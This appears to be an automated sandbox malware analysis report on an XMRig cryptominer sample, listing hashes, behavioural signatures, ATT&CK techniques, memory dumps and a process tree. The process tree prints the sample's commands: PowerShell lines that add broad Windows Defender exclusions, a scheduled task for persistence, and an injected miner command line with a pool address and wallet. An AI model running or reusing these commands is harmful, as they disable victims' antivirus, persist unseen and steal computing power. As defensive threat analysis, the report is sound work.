xmrig | 98ced6e951485c45ebdeda3bbc04bd2918867e0490900b39789d9b4637a7409c

Analysis

max time kernel
1198s
max time network
1190s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
04-09-2024 18:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

test.exe
Size

29.7MB
MD5

531a4e282c420c64d7b545a9c4e0fb4d
SHA1

998d298e9ff967bec6f03bf8e8e8f03b4b3728db
SHA256

98ced6e951485c45ebdeda3bbc04bd2918867e0490900b39789d9b4637a7409c
SHA512

c1d8296e2ba1e1ca9e1860548b884414e2cde06c584c40a4306d248b9c9ccbbff7e55a717d742ea14cc849db41838cfa6feb7638d888c627ff95abcb13df6730
SSDEEP

786432:k99QkndbvqJ6+eH57FU4hxLq54xTxyCuYWQzJ2Mbvn:i1nM8hHxPhxO5iTECuYWQzJ7bv

Score

10^/10

xmrig execution miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral4/memory/1080-54-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/1080-56-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/1080-70-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/1080-71-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/1080-72-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/1080-69-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/1080-68-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/1080-74-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/1080-76-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/1080-77-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/1080-79-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
668	powershell.exe
4732	powershell.exe
3612	powershell.exe
2796	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4364	services64.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\services64.exe	conhost.exe
File opened for modification	C:\Windows\system32\services64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2412 set thread context of 1080	2412	conhost.exe	112

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1200	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
668	powershell.exe
668	powershell.exe
4732	powershell.exe
4732	powershell.exe
3612	powershell.exe
3612	powershell.exe
2796	powershell.exe
2796	powershell.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe
1080	svchost.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	668	powershell.exe
Token: SeDebugPrivilege	4732	powershell.exe
Token: SeDebugPrivilege	2412	conhost.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeLockMemoryPrivilege	1080	svchost.exe
Token: SeLockMemoryPrivilege	1080	svchost.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 4928	2096	test.exe	94
PID 2096 wrote to memory of 4928	2096	test.exe	94
PID 2096 wrote to memory of 4928	2096	test.exe	94
PID 4928 wrote to memory of 3880	4928	conhost.exe	95
PID 4928 wrote to memory of 3880	4928	conhost.exe	95
PID 4928 wrote to memory of 1752	4928	conhost.exe	96
PID 4928 wrote to memory of 1752	4928	conhost.exe	96
PID 3880 wrote to memory of 668	3880	cmd.exe	99
PID 3880 wrote to memory of 668	3880	cmd.exe	99
PID 1752 wrote to memory of 1200	1752	cmd.exe	100
PID 1752 wrote to memory of 1200	1752	cmd.exe	100
PID 3880 wrote to memory of 4732	3880	cmd.exe	101
PID 3880 wrote to memory of 4732	3880	cmd.exe	101
PID 4928 wrote to memory of 4572	4928	conhost.exe	102
PID 4928 wrote to memory of 4572	4928	conhost.exe	102
PID 4572 wrote to memory of 4364	4572	cmd.exe	104
PID 4572 wrote to memory of 4364	4572	cmd.exe	104
PID 4364 wrote to memory of 2412	4364	services64.exe	107
PID 4364 wrote to memory of 2412	4364	services64.exe	107
PID 4364 wrote to memory of 2412	4364	services64.exe	107
PID 2412 wrote to memory of 628	2412	conhost.exe	108
PID 2412 wrote to memory of 628	2412	conhost.exe	108
PID 628 wrote to memory of 3612	628	cmd.exe	110
PID 628 wrote to memory of 3612	628	cmd.exe	110
PID 628 wrote to memory of 2796	628	cmd.exe	111
PID 628 wrote to memory of 2796	628	cmd.exe	111
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112
PID 2412 wrote to memory of 1080	2412	conhost.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\test.exe
"C:\Users\Admin\AppData\Local\Temp\test.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\test.exe"
  2⤵
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:4928
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:668
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4732
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1752
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1200
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4572
  - - C:\Windows\system32\services64.exe
      C:\Windows\system32\services64.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4364
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
        5⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2412
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2796
      - C:\Windows\System32\svchost.exe
        
        C:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:3333 --user=47nUe8D3z4bjgwqG9v4tKY3sBMcoEdvQ3iJMC8A8udU7DngaeR7hNhKETaaQD1iWhadw6j9iNWqf6fKiVcMy35kdVbxAzyD --pass= --cpu-max-threads-hint=60 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=80 --tls --cinit-stealth
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
646B

MD5
23867f73ff39fa0dfee6cfb5d3d176ab

SHA1
8705a09d38e5f0b034a6f4b4deb5817e312204e1

SHA256
f416e8f8135e0d7a3163860b44fe7ebc8ca0f42e783e870e6ec74e3b6da44f88

SHA512
108dc8ff63b1e222a8a6311af329e8f3376bc356b4946d958a68d8e3d4c54356a3a9851fd689b0a5d4f3f27b47ec03aa0672cee1fba3047079642db0b7603ea1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
34f595487e6bfd1d11c7de88ee50356a

SHA1
4caad088c15766cc0fa1f42009260e9a02f953bb

SHA256
0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

SHA512
10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ab7e604559843df67e0883f90e62248b

SHA1
d5b73bf901903018100555ab8f77b5cc8407fb55

SHA256
33a1c34af9540a2a83372fb810d026c143d7a9781f718c5dc5949ef04ef49c05

SHA512
0be356a608cc05dbaaa0397a72913195d8cff371a3f238cc55eb2ce513356c9f31ec8f04f4ed8326d6fd7db15c6dc74a51d7780f9c6e52df6002c0ef8e0ad51d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4wxyq34k.kys.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\services64.exe

Filesize
29.7MB

MD5
531a4e282c420c64d7b545a9c4e0fb4d

SHA1
998d298e9ff967bec6f03bf8e8e8f03b4b3728db

SHA256
98ced6e951485c45ebdeda3bbc04bd2918867e0490900b39789d9b4637a7409c

SHA512
c1d8296e2ba1e1ca9e1860548b884414e2cde06c584c40a4306d248b9c9ccbbff7e55a717d742ea14cc849db41838cfa6feb7638d888c627ff95abcb13df6730

Download Submit
memory/668-8-0x0000027CE39C0000-0x0000027CE39E2000-memory.dmp

Filesize
136KB

Download
memory/1080-70-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1080-69-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1080-79-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1080-77-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1080-76-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1080-74-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1080-68-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1080-72-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1080-71-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1080-54-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1080-57-0x00000281D2790000-0x00000281D27B0000-memory.dmp

Filesize
128KB

Download
memory/1080-56-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4928-1-0x00007FFC596F3000-0x00007FFC596F5000-memory.dmp

Filesize
8KB

Download
memory/4928-0-0x00000196616E0000-0x0000019663496000-memory.dmp

Filesize
29.7MB

Download
memory/4928-2-0x00007FFC596F0000-0x00007FFC5A1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4928-3-0x0000019601DC0000-0x0000019603B76000-memory.dmp

Filesize
29.7MB

Download
memory/4928-7-0x00007FFC596F0000-0x00007FFC5A1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4928-4-0x0000019666D70000-0x0000019666D82000-memory.dmp

Filesize
72KB

Download
memory/4928-36-0x00007FFC596F0000-0x00007FFC5A1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4928-32-0x00007FFC596F0000-0x00007FFC5A1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4928-5-0x0000019666D60000-0x0000019666D6A000-memory.dmp

Filesize
40KB

Download
memory/4928-6-0x00007FFC596F0000-0x00007FFC5A1B1000-memory.dmp

Filesize
10.8MB

Download